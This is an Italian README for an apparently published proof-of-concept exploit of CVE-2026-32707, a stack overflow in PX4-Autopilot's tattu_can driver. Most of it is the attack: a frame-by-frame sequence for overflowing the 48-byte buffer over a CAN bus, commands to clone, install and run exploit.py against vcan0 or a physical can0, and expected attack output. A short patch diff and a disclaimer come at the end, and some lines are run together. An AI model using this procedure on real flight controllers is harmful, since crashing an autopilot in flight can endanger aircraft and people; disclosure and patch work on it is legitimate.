
Proof-of-concept exploit per CVE-2026-32707, un overflow del buffer di stack nel driver tattu_can di PX4-Autopilot, che causa denial of service tramite frame CAN appositamente costruiti.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operatore : Mohammed Idrees Banyamer • Giordania 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
Questo repository contiene una proof‑of‑concept (PoC) exploit per CVE‑2026‑32707, un overflow del buffer basato su stack nel driver tattu_can del firmware del controller di volo PX4‑Autopilot (versioni ≤ 1.17.0‑rc1). La vulnerabilità risiede nella routine di assemblaggio dei messaggi multi‑frame: durante il riassemblaggio di una struttura Tattu12SBatteryMessage sullo stack, il driver esegue operazioni memcpy() senza limiti senza verificare l'offset cumulativo rispetto alla dimensione del buffer (48 byte). Un attaccante in grado di iniettare frame CAN sullo stesso bus può innescare l'overflow, causando una corruzione dello stack e il successivo crash (Denial of Service) del processo PX4.
sequenceDiagram
participant Attacker as Attacker (CAN Node)
participant CANbus as CAN Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Frame di inizio (DLC=8, data[7]=0x80)
CANbus->>PX4: Inizio trasferimento ricevuto
PX4->>PX4: Buffer tattu_message (48 byte)<br/>Offset di copia=5 byte
loop Frame di overflow (7x)
Attacker->>CANbus: Frame di overflow (DLC=8, payload 7 byte)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Frame di overflow finale (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → OVERFLOW DELLO STACK
PX4-->>PX4: Crash (segfault / hard fault)
Note over PX4: Denial of Service
tattu_can abilitato3f04b7a)python-canCAP_NET_RAW) per inviare frame CAN grezzican0 o virtuale vcan0)# Clona il repository
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# Installa python-can
pip3 install python-can
# (Opzionale) Crea un'interfaccia CAN virtuale per i test
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <interfaccia_can>
# Exploit tramite interfaccia CAN virtuale (per simulazione/test)
sudo python3 exploit.py vcan0
# Exploit tramite bus CAN fisico
sudo python3 exploit.py can0
0x80, che segnala al driver di iniziare l'assemblaggio di un nuovo Tattu12SBatteryMessage e copia i primi 5 byte nel buffer dello stack.memcpy() che scrive oltre il limite del buffer, corrompendo il frame dello stack.[*] Invio del frame di inizio trasferimento su vcan0 (can_id=0x00000123)
[*] Invio di 7 frame di overflow (ciascuno copia 7 byte)...
[*] Invio del frame di overflow finale...
[+] Sequenza di attacco completata. Il driver tattu_can di PX4 dovrebbe ora andare in crash.
tattu_can se non necessario (tattu_can stop o rimuovilo dalla build).3f04b7a):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aQuesta proof‑of‑concept è fornita solo per scopi educativi e di test di sicurezza. Utilizzala esclusivamente su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo codice.